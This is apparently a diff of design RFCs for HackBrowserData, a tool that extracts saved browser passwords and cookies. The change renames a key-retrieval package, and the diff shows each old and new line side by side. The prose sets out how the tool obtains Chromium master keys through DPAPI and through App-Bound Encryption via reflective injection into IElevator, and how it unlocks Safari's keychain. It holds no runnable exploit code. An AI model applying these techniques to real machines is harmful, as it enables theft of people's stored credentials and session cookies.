| V20 | `ABERetriever` | `os_crypt.app_bound_encrypted_key` | IElevator via reflective injection (see [RFC-010](010-chrome-abe-integration.md)) | | V20 | `ABERetriever` | `os_crypt.app_bound_encrypted_key` | IElevator via reflective injection (see [RFC-010](010-chrome-abe-integration.md)) |
`browser/browser_windows.go::newCredentialInjector` calls `keyretriever.DefaultRetrievers()` and wires the resulting struct through `Browser.SetKeyRetrievers(r)`. At extract time `keyretriever.NewMasterKeys` runs each slot independently — a failure on one tier does not prevent the other from succeeding, because mixed-tier Chrome profiles (upgraded from pre-127) need partial success to be useful. `browser/browser_windows.go::newCredentialInjector` calls `masterkey.DefaultRetrievers()` and wires the resulting struct through `Browser.SetRetrievers(r)`. At extract time `masterkey.NewMasterKeys` runs each slot independently — a failure on one tier does not prevent the other from succeeding, because mixed-tier Chrome profiles (upgraded from pre-127) need partial success to be useful.
**Why not a ChainRetriever?** `ChainRetriever` has first-success semantics: once ABE returns a key, DPAPI is never called. That semantics is wrong for orthogonal tiers — it was the root cause of issue #578, where upgraded profiles' v10-encrypted passwords silently failed because only the v20 key was retrieved. `NewMasterKeys` evaluates each tier independently and returns an `errors.Join` of per-tier failures; log severity is a caller-side decision. `browser/chromium::getMasterKeys` currently logs all tier errors uniformly at `Warnf` — the distinction between "partial" and "total" failure was judged low-value for a short-lived CLI where all warn lines are visible in the default output. **Why not a ChainRetriever?** `ChainRetriever` has first-success semantics: once ABE returns a key, DPAPI is never called. That semantics is wrong for orthogonal tiers — it was the root cause of issue #578, where upgraded profiles' v10-encrypted passwords silently failed because only the v20 key was retrieved. `NewMasterKeys` evaluates each tier independently and returns an `errors.Join` of per-tier failures; log severity is a caller-side decision. `browser/chromium::getMasterKeys` currently logs all tier errors uniformly at `Warnf` — the distinction between "partial" and "total" failure was judged low-value for a short-lived CLI where all warn lines are visible in the default output.
@@ -132,7 +132,7 @@ Windows populates two slots of the `keyretriever.Retrievers` struct — V10 (leg
### 5.1 Dual-Tier Retrievers (V10 + V11) ### 5.1 Dual-Tier Retrievers (V10 + V11)
Linux populates two slots of the `keyretriever.Retrievers` struct — one per cipher prefix that Chromium emits on this platform: Linux populates two slots of the `masterkey.Retrievers` struct — one per cipher prefix that Chromium emits on this platform:
| Slot | Prefix | Retriever | Mechanism | Chromium name | | Slot | Prefix | Retriever | Mechanism | Chromium name |
|------|--------|-----------|-----------|---------------| |------|--------|-----------|-----------|---------------|
@@ -182,7 +182,7 @@ The authoritative mapping lives in the `KeychainLabel` field of each entry in `p
## 7. Safari Credential Extraction ## 7. Safari Credential Extraction
Safari is **not** a consumer of the `KeyRetriever` interface. It has its own credential-extraction path in `browser/safari/extract_password.go`, which uses [keychainbreaker](https://github.com/moond4rk/keychainbreaker) directly to list `InternetPassword` records from `login.keychain-db`. Safari is **not** a consumer of the `Retriever` interface. It has its own credential-extraction path in `browser/safari/extract_password.go`, which uses [keychainbreaker](https://github.com/moond4rk/keychainbreaker) directly to list `InternetPassword` records from `login.keychain-db`.
This is a deliberate architectural choice, not an oversight. The following sections explain why. This is a deliberate architectural choice, not an oversight. The following sections explain why.
@@ -196,21 +196,21 @@ This is a deliberate architectural choice, not an oversight. The following secti
| Failure mode | Hard fail (no key → cannot decrypt) | Soft fail (degrade to metadata-only) | | Failure mode | Hard fail (no key → cannot decrypt) | Soft fail (degrade to metadata-only) |
| Caching benefit | High (multi-profile, multi-browser) | None (single browser, single call) | | Caching benefit | High (multi-profile, multi-browser) | None (single browser, single call) |
Forcing Safari through the `KeyRetriever` interface would require returning a different type than `[]byte`, contradicting the interface's documented purpose as the *master-key* abstraction. Forcing it through a parallel "InternetPassword chain" would be over-engineering for a single consumer that has no fallback strategies worth chaining. Forcing Safari through the `Retriever` interface would require returning a different type than `[]byte`, contradicting the interface's documented purpose as the *master-key* abstraction. Forcing it through a parallel "InternetPassword chain" would be over-engineering for a single consumer that has no fallback strategies worth chaining.
Note the "failure mode" row in particular: Chromium *must* have a master key or extraction fails entirely, so it needs a chain of escalating strategies. Safari can degrade gracefully — if the keychain cannot be unlocked, metadata-only export (URLs and usernames, no plaintext passwords) is still useful output, so a single "try keychainbreaker, warn on failure" is sufficient. Note the "failure mode" row in particular: Chromium *must* have a master key or extraction fails entirely, so it needs a chain of escalating strategies. Safari can degrade gracefully — if the keychain cannot be unlocked, metadata-only export (URLs and usernames, no plaintext passwords) is still useful output, so a single "try keychainbreaker, warn on failure" is sufficient.
### 7.2 The General Rule ### 7.2 The General Rule
> **Each browser package owns its own credential-acquisition strategy. `crypto/keyretriever` exists only to share retrieval logic across the Chromium variant family. New browser implementations should follow Safari's and Firefox's example — own your credential code.** > **Each browser package owns its own credential-acquisition strategy. `masterkey` exists only to share retrieval logic across the Chromium variant family. New browser implementations should follow Safari's and Firefox's example — own your credential code.**
Evidence the rule is already in force: Evidence the rule is already in force:
- **Firefox** (`browser/firefox/firefox.go`) does not import `keyretriever` or `keychainbreaker`. It derives keys from `key4.db` via internal NSS PBE. See RFC-005. - **Firefox** (`browser/firefox/firefox.go`) does not import `masterkey` or `keychainbreaker`. It derives keys from `key4.db` via internal NSS PBE. See RFC-005.
- **Safari** (`browser/safari/extract_password.go`) uses `keychainbreaker` directly for `InternetPassword` records. - **Safari** (`browser/safari/extract_password.go`) uses `keychainbreaker` directly for `InternetPassword` records.
- **Chromium variants** all go through `crypto/keyretriever` because they share exactly one chain and benefit from the shared `sync.Once` caching. - **Chromium variants** all go through `masterkey` because they share exactly one chain and benefit from the shared `sync.Once` caching.
Future contributors adding a new macOS browser that reads credentials from the Keychain should add their access logic to that browser's package, not extend `keyretriever`. Only extend `keyretriever` if the new browser is a Chromium variant that fits the existing master-key chain. Future contributors adding a new macOS browser that reads credentials from the Keychain should add their access logic to that browser's package, not extend `masterkey`. Only extend `masterkey` if the new browser is a Chromium variant that fits the existing master-key chain.
### 7.3 Where the `--keychain-pw` Password Goes ### 7.3 Where the `--keychain-pw` Password Goes
@@ -218,7 +218,7 @@ The macOS login password is resolved once at startup by `browser/browser_darwin.
| Consumer | Capability interface | Defined in | Payload | | Consumer | Capability interface | Defined in | Payload |
|---|---|---|---| |---|---|---|---|
| Chromium browsers | `keyRetrieversSetter` | `browser/browser.go` | `keyretriever.Retrievers` struct (V10 / V11 / V20 slots; unused tiers nil) | | Chromium browsers | `keyRetrieversSetter` | `browser/browser.go` | `masterkey.Retrievers` struct (V10 / V11 / V20 slots; unused tiers nil) |
| Safari | `keychainPasswordSetter` | `browser/browser_darwin.go` | raw `string` | | Safari | `keychainPasswordSetter` | `browser/browser_darwin.go` | raw `string` |
The two setters are **intentionally not unified**. They carry different abstractions — one hands the browser a pre-assembled retrieval chain, the other hands the browser a credential token to unlock its own access path. Unifying them would create a leaky polymorphic interface with no real shared semantics. Note that `keychainPasswordSetter` is defined in the darwin-only file because Safari (its only implementer) is darwin-only. The two setters are **intentionally not unified**. They carry different abstractions — one hands the browser a pre-assembled retrieval chain, the other hands the browser a credential token to unlock its own access path. Unifying them would create a leaky polymorphic interface with no real shared semantics. Note that `keychainPasswordSetter` is defined in the darwin-only file because Safari (its only implementer) is darwin-only.
+4 -4
View File
@@ -14,7 +14,7 @@ This RFC documents how HackBrowserData integrates ABE support end-to-end while k
Related RFCs: Related RFCs:
- [RFC-003](003-chromium-encryption.md) — cipher versions (v10, v11, v20) - [RFC-003](003-chromium-encryption.md) — cipher versions (v10, v11, v20)
- [RFC-006](006-key-retrieval-mechanisms.md) — `KeyRetriever` / `ChainRetriever` - [RFC-006](006-key-retrieval-mechanisms.md) — `Retriever` / `ChainRetriever`
- [RFC-009](009-windows-locked-file-bypass.md) — other Windows-specific handling - [RFC-009](009-windows-locked-file-bypass.md) — other Windows-specific handling
### 1.1 Compatibility contract ### 1.1 Compatibility contract
@@ -46,7 +46,7 @@ End-to-end flow when `hack-browser-data.exe` encounters a v20 Chromium cookie on
``` ```
browser/chromium.Extract() browser/chromium.Extract()
keyretriever.Chain [ABERetriever, DPAPIRetriever] masterkey.Chain [ABERetriever, DPAPIRetriever]
→ ABERetriever.RetrieveKey(): → ABERetriever.RetrieveKey():
reads Local State → extracts APPB-prefixed blob reads Local State → extracts APPB-prefixed blob
resolves browser exe via registry App Paths resolves browser exe via registry App Paths
@@ -191,7 +191,7 @@ Go consumes the same constants via **`go tool cgo -godefs`** (a development-time
### 5.3 Retriever wiring & v20 routing ### 5.3 Retriever wiring & v20 routing
`keyretriever.DefaultRetrievers()` on Windows returns a `Retrievers` struct with `V10 = &DPAPIRetriever{}` and `V20 = &ABERetriever{}`. The two tiers are wired independently — not in a ChainRetriever — because a single Chrome profile upgraded from pre-127 can carry mixed v10+v20 ciphertexts, and both keys must be available for `decryptValue` to route each ciphertext to its matching tier (see [RFC-006](006-key-retrieval-mechanisms.md) §4.4 and issue #578). `ABERetriever.RetrieveKey`: `masterkey.DefaultRetrievers()` on Windows returns a `Retrievers` struct with `V10 = &DPAPIRetriever{}` and `V20 = &ABERetriever{}`. The two tiers are wired independently — not in a ChainRetriever — because a single Chrome profile upgraded from pre-127 can carry mixed v10+v20 ciphertexts, and both keys must be available for `decryptValue` to route each ciphertext to its matching tier (see [RFC-006](006-key-retrieval-mechanisms.md) §4.4 and issue #578). `ABERetriever.RetrieveKey`:
1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. If the field is missing, `ABERetriever` returns `(nil, nil)`, `V20` remains empty, and the independently-wired `V10` DPAPI tier still runs. 1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. If the field is missing, `ABERetriever` returns `(nil, nil)`, `V20` remains empty, and the independently-wired `V10` DPAPI tier still runs.
2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback). 2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback).
@@ -321,5 +321,5 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows
| RFC | Relation | | RFC | Relation |
|---|---| |---|---|
| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC | | [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `keyretriever.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots | | [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `masterkey.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots |
| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) | | [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |